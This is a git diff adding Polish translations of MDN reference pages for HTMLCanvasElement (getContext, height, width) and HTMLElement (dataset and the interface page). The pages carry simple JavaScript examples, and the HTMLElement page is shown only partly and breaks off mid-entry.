Web/API/HTMLCanvasElement/getContext +--- +<div>{{APIRef("Canvas API")}}</div> + +<p class="summary">Metoda <strong><code>HTMLCanvasElement.getContext()</code></strong> zwraca kontekst pola roboczego {{HTMLElement("canvas")}}, lub {{jsxref("null")}} jeśli identyfikator kontekstu nie jest wspierany.</p> + +<h2 id="Składnia">Składnia</h2> + +<pre class="syntaxbox">var <em>ctx</em> = <em>canvas</em>.getContext(<em>contextType</em>); +var <em>ctx</em> = <em>canvas</em>.getContext(<em>contextType</em>, <em>contextAttributes</em>); +</pre> + +<h3 id="Parametry">Parametry</h3> + +<dl> + <dt><code><em>contextType</em></code></dt> + <dd>Jest nim {{domxref("DOMString")}} zawierający identyfikator kontekstu pola roboczego powiązanego z {{HTMLElement("canvas")}}. Możliwe wartości to: + <ul> + <li><code>"2d"</code>, tworzy obiekt {{domxref("CanvasRenderingContext2D")}} reprezentujący dwuwymiarowy kontekst renderowania.</li> + <li><code>"webgl"</code> (lub <code>"experimental-webgl"</code>), tworzy obiekt {{domxref("WebGLRenderingContext")}} reprezentujący trójwymiarowy kontekst renderowania. Ten kontekst dostępny jest tylko w przeglądarkach w których zaimplementowana jest wersja 1 WebGL (OpenGL ES 2.0).</li> + <li><code>"webgl2"</code> tworzy obiekt {{domxref("WebGL2RenderingContext")}} reprezentujący trójwymiarowy kontekst renderowania. Ten kontekst dostępny jest tylko w przeglądarkach w których zaimplementowana jest wersja 2 WebGL (OpenGL ES 3.0). {{experimental_inline}}</li> + <li><code>"bitmaprenderer"</code> tworzy {{domxref("ImageBitmapRenderingContext")}}, który zapewnia możliwość zastąpenia treści {{HTMLElement("canvas")}} na podaną {{domxref("ImageBitmap")}}.</li> + </ul> + + <div class="note"> + <p><strong>Nota</strong>: Identyfikator "<code>experimental-webgl</code>" jest używany przy nowych wdrożeniach WebGL. Wdrożenia te nie uzyskały zgodności z pakietem testowym lub sterowniki graficzne platformy nie są jeszcze stabilne. <a href="https://www.khronos.org/">Grupa Khronos </a>certyfikuje wdrożenia WebGL zgodnie z <a href="https://www.khronos.org/registry/webgl/sdk/tests/CONFORMANCE_RULES.txt">regułami zgodności</a>.</p> + </div> + </dd> + <dt><code><em>contextAttributes</em></code></dt> + <dd> + <p>Można użyć kilku własności kontekstu przy tworzeniu kontekstu renderowania, dla przykładu: </p> + + <pre class="brush: js">const gl = canvas.getContext('webgl', { + antialias: false, + depth: false +});</pre> + </dd> + <dd>Własności kontekstu 2d: + <ul> + <li><strong><code>alpha</code></strong>: Boolean wskazujacy czy canvas zawiera kanał alpha. Jeśli ustawione na <code>false</code>, przeglądarka wie, że tło zawsze jest nieprzeźroczyste, co może przyspieszyć rysowanie przeźroczystych treści i obrazków. </li> + <li>{{non-standard_inline}} (Gecko only) <strong><code>willReadFrequently</code></strong>: Boolean wskazujący czy wiele operacji <code>read-back</code> zostało zaplanowanych. Spowoduje wymuszenie użycia oprogramowania (zamiast przyśpieszenia sprzętowego) 2D canvas i może pomóc w oszczędności pamięci przy częstym wywoływaniu {{domxref("CanvasRenderingContext2D.getImageData", "getImageData()")}}. Opcja ta jest dostepna tylko jeśli flaga <code>gfx.canvas.willReadFrequently.enable</code> jest ustawiona na <code>true</code> (która, domyślnie, dotyczy tylko B2G/Firefox OS).</li> + <li>{{non-standard_inline}} (Blink only) <strong><code>storage</code></strong>: String wskazujacy jaka pamięć jest używana (domyślnie jest to "stała" ).</li> + </ul> + Własności kontekstu WebGL: + + <ul> + <li><strong><code>alpha</code></strong>: Boolean wskazujacy czy canvas zawiera bufor alpha.</li> + <li><strong><code>depth</code></strong>: Boolean wskazujący czy bufor rysunku posiada bufor głębi o wartości co przynajmniej 16 bitów.</li> + <li><strong><code>stencil</code></strong>: Boolean wskazujący czy bufor rysunku posiada bufor matrycy o wartości przynajmniej 8 bitów. </li> + <li><strong><code>antialias</code></strong>: Boolean wskazujący czy używany ma być <code>anti-aliasing.</code></li> + <li><strong><code>premultipliedAlpha</code></strong>: Boolean wskazujący czy projektant strony założył, że bufor rysunku zawiera kolory ze wstepnie pomnożoną alfą.</li> + <li><strong><code>preserveDrawingBuffer</code></strong>: Jeśli ustawiona na <code>true</code>, bufory nie zostaną wyczyszczone i zachowają swoje wartości, dopóki nie zostaną wyczyszczone lub nadpisane przez autora.</li> + <li><code><strong>failIfMajorPerformanceCaveat</strong></code>: Boolean wskazujący czy kontekst będzie tworzony, jeśli wydajność systemu jest niska.</li> + </ul> + </dd> +</dl> + +<h3 id="Wartości_zwrotne">Wartości zwrotne</h3> + +<p>{{domxref("RenderingContext")}} jest też</p> + +<ul> + <li>{{domxref("CanvasRenderingContext2D")}} dla <code>"2d"</code>,</li> + <li>{{domxref("WebGLRenderingContext")}} dla <code>"webgl"</code> i <code>"experimental-webgl"</code>,</li> + <li>{{domxref("WebGL2RenderingContext")}} dla <code>"webgl2"</code> lub</li> + <li>{{domxref("ImageBitmapRenderingContext")}} dla <code>"bitmaprenderer"</code>.</li> +</ul> + +<p>Jeśli <em><code>contextType</code></em> nie może dopasować możliwych kontekstów rysowania, <code><em>null</em></code> zostanie zwrócony.</p> + +<h2 id="Przykłady">Przykłady</h2> + +<p>Wykorzystując element {{HTMLElement("canvas")}}:</p> + +<pre class="brush: html"><canvas id="canvas" width="300" height="300"></canvas> +</pre> + +<p>Kontekst <code>2d</code> uzyskać można za pomocą kodu: </p> + +<pre class="brush: js">var canvas = document.getElementById('canvas'); +var ctx = canvas.getContext('2d'); +console.log(ctx); // CanvasRenderingContext2D { ... } +</pre> + +<p>Tworzy to <a href="/en-US/docs/Web/API/CanvasRenderingContext2D">kontekst renderowania 2D</a>, po którym można rysować.</p> + +<h2 id="Specyfikacja">Specyfikacja</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specyfikacja</th> + <th scope="col">Status</th> + <th scope="col">Komentarz</th> + </tr> + <tr> + <td>{{SpecName('HTML WHATWG', "scripting.html#dom-canvas-getcontext", "HTMLCanvasElement.getContext")}}</td> + <td>{{Spec2('HTML WHATWG')}}</td> + <td>Brak zmian od ostatniego snapshota, {{SpecName('HTML5 W3C')}}</td> + </tr> + <tr> + <td>{{SpecName('HTML5.1', "scripting-1.html#dom-canvas-getcontext", "HTMLCanvasElement.getContext")}}</td> + <td>{{Spec2('HTML5.1')}}</td> + <td></td> + </tr> + <tr> + <td>{{SpecName('HTML5 W3C', "scripting-1.html#dom-canvas-getcontext", "HTMLCanvasElement.getContext")}}</td> + <td>{{Spec2('HTML5 W3C')}}</td> + <td>Snapshot {{SpecName('HTML WHATWG')}} zawiera początkową definicje.</td> + </tr> + </tbody> +</table> + +<h2 id="Zgodność_przeglądarek">Zgodność przeglądarek</h2> + + + +<p>{{Compat("api.HTMLCanvasElement.getContext")}}</p> + +<h2 id="Zobacz_też">Zobacz też</h2> + +<ul> + <li>Interfejs definiujacy element, {{domxref("HTMLCanvasElement")}}.</li> + <li>{{domxref("OffscreenCanvas.getContext()")}}</li> + <li>Dostępne konteksty renderowania: {{domxref("CanvasRenderingContext2D")}}, {{domxref("WebGLRenderingContext")}}, {{domxref("WebGL2RenderingContext")}} i {{domxref("ImageBitmapRenderingContext")}}.</li> +</ul> diff --git a/files/pl/web/api/htmlcanvaselement/height/index.html b/files/pl/web/api/htmlcanvaselement/height/index.html new file mode 100644 index 0000000000..0ff266ff84 --- /dev/null +++ b/files/pl/web/api/htmlcanvaselement/height/index.html @@ -0,0 +1,79 @@ +--- +title: HTMLCanvasElement.height +slug: Web/API/HTMLCanvasElement/height +translation_of: Web/API/HTMLCanvasElement/height +--- +<div> +<div> +<div>{{APIRef("Canvas API")}}</div> + +<div> </div> + +<div><span>Własność </span><strong><code><span>HTMLCanvasElement.height</span></code><span> </span></strong><span>wyrażana jest w </span>dodatniej <code>liczbie całkowitej </code>odpowiada za atrybut <code><a href="https://developer.mozilla.org/pl/docs/Web/HTML/Element/canvas#attr-height" rel="nofollow">height</a></code> elemetu HTML <a href="https://developer.mozilla.org/pl/docs/Web/HTML/Element/canvas" rel="nofollow" title="The documentation about this has not yet been written; please consider contributing!"><code><canvas></code></a> i jest interpretowany w pikselach CSS. Jeśli atrybut nie został określony, lub została przypisana do niego nieprawidłowa wartość, np. negatywna, zostanie użyta domyślna wartość <code>150</code>.</div> + +<div> </div> + +<div>To jedna z dwóch własności kontrolujących wielkość {{HTMLElement("canvas")}}, druga z nich to {{domxref("HTMLCanvasElement.width")}}.</div> +</div> +</div> + +<h2 id="Syntax" name="Syntax">Składnia</h2> + +<pre class="syntaxbox"><var>var <em>pxl</em> = <em>canvas</em></var>.height; +<em>canvas</em>.height = <em>pxl</em>; +</pre> + +<h2 id="Przykłady">Przykłady</h2> + +<p>Biorąc pod uwagę element {{HTMLElement("canvas")}}:</p> + +<pre class="brush: html"><canvas id="canvas" width="300" height="300"></canvas> +</pre> + +<p>Można sprawdzić jego wysokość za pomocą kodu:</p> + +<pre class="brush: js">var canvas = document.getElementById('canvas'); +console.log(canvas.height); // 300 +</pre> + +<h2 id="Specyfikacja">Specyfikacja</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + <tr> + <td>{{SpecName('HTML WHATWG', "scripting.html#attr-canvas-height", "HTMLCanvasElement.height")}}</td> + <td>{{Spec2('HTML WHATWG')}}</td> + <td> + <p>Brak zmian od ostatniego snapshota, {{SpecName('HTML5 W3C')}}</p> + </td> + </tr> + <tr> + <td>{{SpecName('HTML5.1', "scripting-1.html#attr-canvas-height", "HTMLCanvasElement.height")}}</td> + <td>{{Spec2('HTML5.1')}}</td> + <td> </td> + </tr> + <tr> + <td>{{SpecName('HTML5 W3C', "scripting-1.html#attr-canvas-height", "HTMLCanvasElement.height")}}</td> + <td>{{Spec2('HTML5 W3C')}}</td> + <td>Snapshot {{SpecName('HTML WHATWG')}} zawierający początkową definicje.</td> + </tr> + </tbody> +</table> + +<h2 id="Zgodność_przeglądarek">Zgodność przeglądarek</h2> + + + +<p>{{Compat("api.HTMLCanvasElement.height")}}</p> + +<h2 id="See_Also" name="See_Also">Zobacz też</h2> + +<ul> + <li>Interfejs definiujący tą własność, {{domxref("HTMLCanvasElement")}}.</li> + <li>Inna własność kontrolujaca wielkość {{HTMLElement("canvas")}}, {{domxref("HTMLCanvasElement.width")}}.</li> +</ul> diff --git a/files/pl/web/api/htmlcanvaselement/index.html b/files/pl/web/api/htmlcanvaselement/index.html new file mode 100644 index 0000000000..21deee3bf0 --- /dev/null +++ b/files/pl/web/api/htmlcanvaselement/index.html @@ -0,0 +1,97 @@ +--- +title: HTMLCanvasElement +slug: Web/API/HTMLCanvasElement +translation_of: Web/API/HTMLCanvasElement +--- +<div> +<div>{{APIRef("Canvas API")}}</div> +</div> + +<p>Interfejs HTMLCanvasElement zapewnia własności i metody pozwalające na manipulację wygladem i prezentacją elementów canvas. Dodatkowo HTMLCanvasElement dziedziczy własności i metody interfejsu HTMLElement.</p> + +<p>{{InheritanceDiagram(600, 120)}}</p> + +<h2 id="Własności">Własności</h2> + +<p><em>Własności dziedziczone są od rodzica, {{domxref("HTMLElement")}}.</em></p> + +<dl> + <dt>{{domxref("HTMLCanvasElement.height")}}</dt> + <dd>Wyrażany w dodatniej <code>liczbie całkowitej </code>odpowiada za atrybut {{htmlattrxref("height", "canvas")}} elemetu HTML {{HTMLElement("canvas")}} i jest interpretowany w pikselach CSS. Jeśli atrybut nie został określony, lub została przypisana do niego nieprawidłowa wartość, np. negatywna, zostanie użyta domyślna wartość <code>150</code>.</dd> + <dt>{{domxref("HTMLCanvasElement.width")}}</dt> + <dd>Wyrażany w dodatniej <code>liczbie całkowitej </code>odpowiada za atrybut {{htmlattrxref("width", "canvas")}} elemetu HTML {{HTMLElement("canvas")}} i jest interpretowany w pikselach CSS. Jeśli atrybut nie został określony, lub została przypisana do niego nieprawidłowa wartość, np. negatywna, zostanie użyta domyślna wartość <code>300</code>.</dd> +</dl> + +<h2 id="Metody">Metody</h2> + +<p><em>Metody dziedziczone są od rodzica, <em>{{domxref("HTMLElement")}}.</em></em></p> + +<dl> + <dt>{{domxref("HTMLCanvasElement.captureStream()")}} {{experimental_inline}}</dt> + <dd>Zwraca {{domxref("CanvasCaptureMediaStream")}}, który jest wideo w czasie rzeczywistym z powierzchni elementu {{HTMLElement("canvas")}}.</dd> + <dt>{{domxref("HTMLCanvasElement.getContext()")}}</dt> + <dd>Zwraca pole robocze elementu {{HTMLElement("canvas")}}, lub null jeśli kontekst nie jest wspierany. Pole robocze pozwala na rysowanie na {{HTMLElement("canvas")}}. Wywołanie getContext z atrybutem <code>"2d"</code> zwraca obiekt {{domxref("CanvasRenderingContext2D")}}, natomiast wywołanie z <code>"webgl"</code> (lub <code>"experimental-webgl"</code>) zwróci obiekt {{domxref("WebGLRenderingContext")}}. Ten kontekst jest dostepny tylko w przeglądarkach obsługujących WebGL.</dd> +</dl> + +<dl> + <dt>{{domxref("HTMLCanvasElement.toDataURL()")}}</dt> + <dd>Zwraca data-URL reprezentujacy obraz w formacie określonym przez parametr <code>type</code> (domyślnie <code>png</code>). Zwracany obraz jest w rozdzielczości 96dpi.</dd> + <dt>{{domxref("HTMLCanvasElement.toBlob()")}}</dt> + <dd>Tworzy obiekt {{domxref("Blob")}} reprezentujący obraz zawierający się w {{HTMLElement("canvas")}}; ten plik może być buforowany z dysku lub przechowywany w pamięci wedle uznania <code>user agent</code>.</dd> + <dt>{{domxref("HTMLCanvasElement.transferControlToOffscreen()")}} {{experimental_inline}}</dt> + <dd>Przenosi kontrolę do obiektu {{domxref ("OffscreenCanvas")}}, w głównym wątku lub w module roboczym.</dd> + <dt>{{domxref("HTMLCanvasElement.mozGetAsFile()")}} {{non-standard_inline}} {{deprecated_inline}}</dt> + <dd>Zwraca obiekt {{domxref("File")}} reprezentujący obraz zawarty w {{HTMLElement("canvas")}}; plik oparty jest na pamięci, posiada określoną <code>nazwę</code>. Jeśli <code>typ</code> nie został okreslony, domyslnie jest to <code>image/png</code>.</dd> +</dl> + +<h2 id="Specyfikacja">Specyfikacja</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specyfikacja</th> + <th scope="col">Status</th> + <th scope="col">Komentarz</th> + </tr> + <tr> + <td>{{SpecName('Media Capture DOM Elements', '#html-media-element-media-capture-extensions', 'HTMLCanvasElement')}}</td> + <td>{{Spec2('Media Capture DOM Elements')}}</td> + <td> + <p>Dodano metodę <code>captureStream()</code>.</p> + </td> + </tr> + <tr> + <td>{{SpecName('HTML WHATWG', "#the-canvas-element", "HTMLCanvasElement")}}</td> + <td>{{Spec2('HTML WHATWG')}}</td> + <td> + <p>Metoda <code>getContext()</code> zwraca teraz {{domxref("RenderingContext")}} zamiast obiektu nieprzeźroczystego</p> + + <p>Dodano metodę <code>transferControlToOffscreen()</code></p> + </td> + </tr> + <tr> + <td>{{SpecName('HTML5.1', "scripting-1.html#the-canvas-element", "HTMLCanvasElement")}}</td> + <td>{{Spec2('HTML5.1')}}</td> + <td> </td> + </tr> + <tr> + <td>{{SpecName('HTML5 W3C', "scripting-1.html#the-canvas-element", "HTMLCanvasElement")}}</td> + <td>{{Spec2('HTML5 W3C')}}</td> + <td>Definicja początkowa.</td> + </tr> + </tbody> +</table> + +<h2 id="Zgodność_przegladarek">Zgodność przegladarek</h2> + +<div> + + +<p>{{Compat("api.HTMLCanvasElement")}}</p> +</div> + +<h2 id="Zobacz_też">Zobacz też</h2> + +<ul> + <li>HTML element implementing this interface: {{HTMLElement("canvas")}}.</li> +</ul> diff --git a/files/pl/web/api/htmlcanvaselement/width/index.html b/files/pl/web/api/htmlcanvaselement/width/index.html new file mode 100644 index 0000000000..3be0eabbf8 --- /dev/null +++ b/files/pl/web/api/htmlcanvaselement/width/index.html @@ -0,0 +1,79 @@ +--- +title: HTMLCanvasElement.width +slug: Web/API/HTMLCanvasElement/width +translation_of: Web/API/HTMLCanvasElement/width +--- +<div> +<div> +<div>{{APIRef("Canvas API")}}</div> + +<div> </div> + +<div> +<p>Własność <strong><code>HTMLCanvasElement.width </code></strong>wyrażana jest w dodatniej <code>liczbie całkowitej </code>odpowiada za atrybut {{htmlattrxref("width", "canvas")}} elemetu HTML {{HTMLElement("canvas")}} i jest interpretowana w pikselach CSS. Jeśli atrybut nie został określony, lub została przypisana do niego nieprawidłowa wartość, np. negatywna, zostanie użyta domyślna wartość <code>300</code>.</p> + +<p>To jedna z dwóch własności kontrolujących wielkość {{HTMLElement("canvas")}}, druga z nich to {{domxref("HTMLCanvasElement.height")}}.</p> +</div> +</div> +</div> + +<h2 id="Syntax" name="Syntax">Składnia</h2> + +<pre class="syntaxbox"><var>var <em>pxl</em> = <em>canvas</em></var>.width; +<em>canvas</em>.width = <em>pxl</em>; +</pre> + +<h2 id="Przykłady">Przykłady</h2> + +<p>Wykorzystując element {{HTMLElement("canvas")}}:</p> + +<pre class="brush: html"><canvas id="canvas" width="300" height="300"></canvas> +</pre> + +<p>You can get the width of the canvas with the following code:</p> + +<p>Informacje o szerokości {{HTMLElement("canvas")}} można uzyskać za pomocą kodu:</p> + +<pre class="brush: js">var canvas = document.getElementById('canvas'); +console.log(canvas.width); // 300 +</pre> + +<h2 id="Specyfikacja">Specyfikacja</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + <tr> + <td>{{SpecName('HTML WHATWG', "scripting.html#attr-canvas-width", "HTMLCanvasElement.width")}}</td> + <td>{{Spec2('HTML WHATWG')}}</td> + <td>Brak zmian od ostatniego snapshota, {{SpecName('HTML5 W3C')}}</td> + </tr> + <tr> + <td>{{SpecName('HTML5.1', "scripting-1.html#attr-canvas-width", "HTMLCanvasElement.width")}}</td> + <td>{{Spec2('HTML5.1')}}</td> + <td> </td> + </tr> + <tr> + <td>{{SpecName('HTML5 W3C', "scripting-1.html#attr-canvas-width", "HTMLCanvasElement.width")}}</td> + <td>{{Spec2('HTML5 W3C')}}</td> + <td>Snapshot {{SpecName('HTML WHATWG')}} zawierający początkową definicje.</td> + </tr> + </tbody> +</table> + +<h2 id="Zgodność_przegladarek">Zgodność przegladarek</h2> + + + +<p>{{Compat("api.HTMLCanvasElement.width")}}</p> + +<h2 id="See_Also" name="See_Also">Zobacz też</h2> + +<ul> + <li>Interfejs definiujący tą własność, {{domxref("HTMLCanvasElement")}}.</li> + <li>Inna własność kontrolujaca wielkość {{HTMLElement("canvas")}}, {{domxref("HTMLCanvasElement.height")}}.</li> +</ul> diff --git a/files/pl/web/api/htmlelement/dataset/index.html b/files/pl/web/api/htmlelement/dataset/index.html new file mode 100644 index 0000000000..fac7ec119f --- /dev/null +++ b/files/pl/web/api/htmlelement/dataset/index.html @@ -0,0 +1,134 @@ +--- +title: HTMLElement.dataset +slug: Web/API/HTMLElement/dataset +translation_of: Web/API/HTMLOrForeignElement/dataset +--- +<div>{{ APIRef("HTML DOM") }}</div> + +<p><span class="seoSummary">Właściwość <code><strong>dataset</strong></code> interfejsu {{domxref("HTMLElement")}} pozwala na odczyt/zapis <a href="/en/HTML/Global_attributes#attr-data-*" title="https://developer.mozilla.org/en/HTML/Global_attributes#attr-data-*">niestandardowcyh atrybutów</a> (<code>data-*</code>) elementu.</span> Dostęp ten jest możliwy w HTMLu jak i w DOMie. It is a <a href="/en/DOM/DOMStringMap" title="en/DOM/DOMStringMap">map of DOMString</a>, one entry for each custom data attribute. Zauważ że właściwość<strong> </strong><code>dataset</code><strong> </strong>można odczytać, ale nie zmieniać bezpośrednio. Zamiast tego, wszystkie zapisy muszą być wykonywane na pojedynczych polach <code>dataset</code>, które odpowiadają atrybutom danych. Note also that an HTML <code><strong>data-</strong></code><em>attribute</em> and its corresponding DOM<strong> </strong><code>dataset.</code><em>property</em> do not share the same name, but they are always similar:</p> + +<ul> + <li>The name of a custom data attribute in HTML begins with <code>data-</code>. It must contain only letters, numbers and the following characters: dash (<code>-</code>), dot (<code>.</code>), colon (<code>:</code>), underscore (<code>_</code>) -- but NOT any ASCII capital letters (<code>A</code> to <code>Z</code>).</li> + <li>The name of a custom data attribute in JavaScript is the name of the same HTML attribute but in camelCase and with no dashes, dots, etc.</li> +</ul> + +<p>In addition to the information below, you'll find a how-to guide for using HTML data attributes in our article <a href="/en-US/docs/Learn/HTML/Howto/Use_data_attributes">Using data attributes.</a></p> + +<h3 id="Zmiana_nazw">Zmiana nazw</h3> + +<p>dash-style to camelCase: A custom data attribute name is transformed to a key for the {{ domxref("DOMStringMap") }} entry with the following rules</p> + +<ul> + <li>the prefix <code>data-</code> is removed (including the dash);</li> + <li>for any dash (<code>U+002D</code>) followed by an<span style="line-height: 1.5;"> ASCII lowercase letter </span><code>a</code><span style="line-height: 1.5;"> to </span><code>z</code><span style="line-height: 1.5;">, the dash is removed and the letter is transformed into its uppercase counterpart;</span></li> + <li>other characters (including other dashes) are left unchanged.</li> +</ul> + +<p>camelCase to dash-style: The opposite transformation, that maps a key to an attribute name, uses the following rules:</p> + +<ul> + <li>Restriction: A dash must not be immediately followed by an ASCII lowercase letter <code>a</code> to <code>z</code> (before the transformation);</li> + <li>a prefix <code>data-</code> is added;</li> + <li>any ASCII uppercase letter <code>A</code> to <code>Z</code> is transformed into a dash followed by its lowercase counterpart;</li> + <li>other characters are left unchanged.</li> +</ul> + +<p>The restriction in the rules above ensures that the two transformations are the inverse one of the other.</p> + +<p>For example, the attribute named <code>data-abc-def</code> corresponds to the key <code>abcDef</code>.</p> + +<ul> +</ul> + +<h3 id="Dostęp_do_wartości">Dostęp do wartości</h3> + +<ul> + <li>Attributes can be set and read by using the camelCase name (the key) like an object property of the dataset, as in <em>element.</em>dataset.<em>keyname</em></li> + <li>Attributes can also be set and read using the object-properties bracket-syntax, as in <em>element.</em>dataset[<em>keyname</em>]</li> + <li>The <a href="/en-US/docs/Web/JavaScript/Reference/Operators/in">in operator</a> can be used to check whether a given atttribute exists.</li> +</ul> + + + +<h3 id="Ustawianie_wartości">Ustawianie wartości</h3> + +<ul> + <li>Podawana podczas ustawiania atrybutu wartość jest zawsze zapisywana jako łańcuch znaków, np. <code>null</code> jest zapisywane jako "null".</li> + <li>Usunięcie atrybutu jest możliwe przy pomocy <a href="/en-US/docs/Web/JavaScript/Reference/Operators/delete">operatora delete</a>.</li> +</ul> + +<h2 id="Składnia">Składnia</h2> + +<ul> + <li><em>string</em> = <em>element</em>.<strong>dataset</strong>.<em>camelCasedName</em>;</li> + <li><em>element.</em><strong>dataset</strong>.<em>camelCasedName</em> = <em>string</em>;</li> + <br> + <li><em>string</em> = <em>element</em>.<strong>dataset</strong>[<em>camelCasedName</em>];</li> + <li><em>element</em>.<strong>dataset</strong>[<em>camelCasedName</em>] = <em>string</em>;</li> + <br> + <li><em>Custom data attributes can also be set directly on HTML elements, but attribute names must use the data- syntax above. </em></li> +</ul> + +<h2 id="Przykłady">Przykłady</h2> + +<pre class="brush: html"><div id="user" data-id="1234567890" data-user="johndoe" data-date-of-birth>John Doe</div></pre> + +<pre class="brush: js">const el = document.querySelector('#user'); + +// el.id == 'user' +// el.dataset.id === '1234567890' +// el.dataset.user === 'johndoe' +// el.dataset.dateOfBirth === '' + +// set the data attribute +el.dataset.dateOfBirth = '1960-10-03'; +// Result: el.dataset.dateOfBirth === 1960-10-03 + +delete el.dataset.dateOfBirth; +// Result: el.dataset.dateOfBirth === undefined + +// 'someDataAttr' in el.dataset === false +el.dataset.someDataAttr = 'mydata'; +// Result: 'someDataAttr' in el.dataset === true +</pre> + +<h2 id="Specyfikacje">Specyfikacje</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specyfikacja</th> + <th scope="col">Status</th> + <th scope="col">Komentarz</th> + </tr> + <tr> + <td>{{SpecName('HTML WHATWG', "dom.html#dom-dataset", "HTMLElement.dataset")}}</td> + <td>{{Spec2('HTML WHATWG')}}</td> + <td>No change from latest snapshot, {{SpecName('HTML5.1')}}</td> + </tr> + <tr> + <td>{{SpecName('HTML5.1', "dom.html#dom-dataset", "HTMLElement.dataset")}}</td> + <td>{{Spec2('HTML5.1')}}</td> + <td>Snapshot of {{SpecName('HTML WHATWG')}}, no change from {{SpecName('HTML5 W3C')}}</td> + </tr> + <tr> + <td>{{SpecName('HTML5 W3C', "dom.html#dom-dataset", "HTMLElement.dataset")}}</td> + <td>{{Spec2('HTML5 W3C')}}</td> + <td>Snapshot of {{SpecName('HTML WHATWG')}}, initial definition.</td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility">Browser compatibility</h2> + + + +<p>{{Compat("api.HTMLElement.dataset")}}</p> + +<h2 id="Zobacz_także">Zobacz także</h2> + +<ul> + <li>The HTML <code><a href="/en-US/docs/Web/HTML/Global_attributes/data-*"><strong>data-*</strong></a></code> class of global attributes.</li> + <li><a href="/en-US/docs/Learn/HTML/Howto/Use_data_attributes">Używanie atrybutów danych</a></li> + <li>{{domxref("Element.getAttribute()")}} and {{domxref("Element.setAttribute()")}}</li> +</ul> diff --git a/files/pl/web/api/htmlelement/index.html b/files/pl/web/api/htmlelement/index.html new file mode 100644 index 0000000000..d27d11fd7b --- /dev/null +++ b/files/pl/web/api/htmlelement/index.html @@ -0,0 +1,409 @@ +--- +title: HTMLElement +slug: Web/API/HTMLElement +tags: + - API + - HTML DOM + - Interface + - NeedsMobileBrowserCompatibility + - NeedsNewLayout + - NeedsTranslation + - Reference + - TopicStub +translation_of: Web/API/HTMLElement +--- +<div> +<div>{{ APIRef("HTML DOM") }}</div> +</div> + +<div> </div> + +<p>The <strong><code>HTMLElement</code></strong> interface represents any <a href="/en-US/docs/Web/HTML" title="/en-US/docs/Web/HTML">HTML</a> element. Some elements directly implement this interface, others implement it via an interface that inherits it.</p> + +<h2 id="Properties">Properties</h2> + +<p><em>Inherits properties from its parent, {{domxref("Element")}}, and implements those from {{domxref("GlobalEventHandlers")}} and {{domxref("TouchEventHandlers")}}.</em></p> + +<dl> + <dt>{{domxref("HTMLElement.accessKey")}}</dt> + <dd>Is a {{domxref("DOMString")}} representing the access key assigned to the element.</dd> + <dt>{{domxref("HTMLElement.accessKeyLabel")}} {{readonlyInline}}</dt> + <dd>Returns a {{domxref("DOMString")}} containing the element's assigned access key.</dd> + <dt>{{domxref("HTMLElement.contentEditable")}}</dt> + <dd>Is a {{domxref("DOMString")}}, where a value of <code>"true"</code> means the element is editable and a value of <code>"false"</code> means it isn't.</dd> + <dt>{{domxref("HTMLElement.isContentEditable")}} {{readonlyInline}}</dt> + <dd>Returns a {{domxref("Boolean")}} that indicates whether or not the content of the element can be edited.</dd> + <dt>{{domxref("HTMLElement.contextMenu")}}</dt> + <dd>Is an {{domxref("HTMLMenuElement")}} representing the contextual menu associated with the element. It may be null</dd> + <dt>{{domxref("HTMLElement.dataset")}} {{readonlyInline}}</dt> + <dd>Returns a {{domxref("DOMStringMap")}} that allows access to read and write the element custom data attributes (<code>data-*</code>) .</dd> + <dt>{{domxref("HTMLElement.dir")}}</dt> + <dd>Is a {{domxref("DOMString")}}, reflecting the <code>dir</code> global attribute, representing the directionality of the element. Possible values are <code>"ltr"</code>, <code>"rtl"</code>, and <code>"auto"</code>.</dd> + <dt>{{domxref("HTMLElement.draggable")}}</dt> + <dd>Is a {{jsxref("Boolean")}} indicating if the element can be dragged.</dd> + <dt>{{domxref("HTMLElement.dropzone")}} {{readonlyInline}}</dt> + <dd>Returns a {{domxref("DOMSettableTokenList")}} reflecting the <code>dropzone</code> global attribute and describing the behavior of the element regarding a drop operation.</dd> + <dt>{{domxref("HTMLElement.hidden")}}</dt> + <dd>Is a {{jsxref("Boolean")}} indicating if the element is hidden or not.</dd> + <dt>{{domxref("HTMLElement.itemScope")}} {{experimental_inline}}</dt> + <dd>Is a {{jsxref("Boolean")}}…</dd> + <dt>{{domxref("HTMLElement.itemType")}} {{readonlyInline}}{{experimental_inline}}</dt> + <dd>Returns a {{domxref("DOMSettableTokenList")}}…</dd> + <dt>{{domxref("HTMLElement.itemId")}} {{experimental_inline}}</dt> + <dd>Is a {{domxref("DOMString")}}…</dd> + <dt>{{domxref("HTMLElement.itemRef")}} {{readonlyInline}}{{experimental_inline}}</dt> + <dd>Returns a {{domxref("DOMSettableTokenList")}}…</dd> + <dt>{{domxref("HTMLElement.itemProp")}} {{readonlyInline}}{{experimental_inline}}</dt> + <dd>Returns a {{domxref("DOMSettableTokenList")}}…</dd> + <dt>{{domxref("HTMLElement.itemValue")}} {{experimental_inline}}</dt> + <dd>Returns an {{jsxref("Object")}}…</dd> + <dt>{{domxref("HTMLElement.lang")}}</dt> + <dd>Is a {{domxref("DOMString")}} representing the language of an element's attributes, text, and element contents.</dd> + <dt>{{domxref("HTMLElement.offsetHeight")}} {{readonlyInline}}{{experimental_inline}}</dt> + <dd>Returns a <code>double</code> containing the height of an element, relative to the layout.</dd> + <dt>{{domxref("HTMLElement.offsetLeft")}}{{readonlyInline}}{{experimental_inline}}</dt> + <dd>Returns a <code>double</code>, the distance from this element's left border to its <code>offsetParent</code>'s left border.</dd> + <dt>{{domxref("HTMLElement.offsetParent")}}{{readonlyInline}}{{experimental_inline}}</dt> + <dd>Returns an {{domxref("Element")}} that is the element from which all offset calculations are currently computed.</dd> + <dt>{{domxref("HTMLElement.offsetTop")}}{{readonlyInline}}{{experimental_inline}}</dt> + <dd>Returns a <code>double</code>, the distance from this element's top border to its <code>offsetParent</code>'s top border.</dd> + <dt>{{domxref("HTMLElement.offsetWidth")}}{{readonlyInline}}{{experimental_inline}}</dt> + <dd>Returns a <code>double</code> containing the width of an element, relative to the layout.</dd> + <dt>{{domxref("HTMLElement.properties")}} {{readonlyInline}}{{experimental_inline}}</dt> + <dd>Returns an 